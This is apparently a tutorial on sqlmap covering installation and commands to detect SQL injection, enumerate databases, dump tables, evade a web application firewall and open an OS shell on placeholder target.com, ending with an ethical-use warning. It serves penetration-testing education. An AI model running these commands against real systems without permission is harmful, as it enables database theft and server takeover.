SQLMap: The Ultimate Guide to Automated SQL Injection
sqlmap is one of the most powerful open-source tools for automating the process of detecting and exploiting SQL injection vulnerabilities in web applications. Whether you're a penetration tester, bug bounty hunter, or cybersecurity enthusiast, mastering sqlmap can greatly enhance your ability to find security flaws in applications.
What is sqlmap?
sqlmap is an automated tool written in Python that helps security professionals identify and exploit SQL injection vulnerabilities. It supports a wide range of database management systems, including:
- MySQL
- PostgreSQL
- Oracle
- Microsoft SQL Server
- SQLite
- DB2
- and more...
It can be used to:
- Detect and exploit SQL injection vulnerabilities
- Extract data from the database
- Read and write files on the database server
- Gain remote shell access
Installation
sqlmap comes pre-installed in many popular penetration testing distributions like Kali Linux. However, if you're on a different system or want to install it manually, follow these steps:
Requirements
- Python 3.8 or later
Clone from GitHub
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
You can now run sqlmap directly:
python3 sqlmap.py -h
Or make an alias:
alias sqlmap="python3 /full/path/to/sqlmap-dev/sqlmap.py"
Basic Usage
Here are some essential examples to get started with sqlmap.
Test a URL for SQL Injection
python3 sqlmap.py -u "http://target.com/page.php?id=1" --batch
-u
: Specifies the target URL.--batch
: Runs in non-interactive mode, using default answers.
Enumerate Databases
python3 sqlmap.py -u "http://target.com/page.php?id=1" --dbs
List Tables in a Specific Database
python3 sqlmap.py -u "http://target.com/page.php?id=1" -D database_name --tables
List Columns in a Table
python3 sqlmap.py -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
Dump Data from a Table
python3 sqlmap.py -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump
Advanced Features
Specify Parameter to Test
python3 sqlmap.py -u "http://target.com/page.php?id=1&name=admin" -p name
Use HTTP POST Request
python3 sqlmap.py -u "http://target.com/login.php" --data="username=admin&password=pass"
Bypass WAF
python3 sqlmap.py -u "http://target.com/page.php?id=1" --tamper=between
OS Command Execution (If injectable)
python3 sqlmap.py -u "http://target.com/page.php?id=1" --os-shell
Ethical Warning
sqlmap should only be used on systems you have explicit permission to test. Unauthorized scanning and exploitation are illegal and unethical.
Final Thoughts
sqlmap simplifies the complex process of finding and exploiting SQL injections. By learning to use its full capabilities, you can become more effective in securing (or testing the security of) web applications.
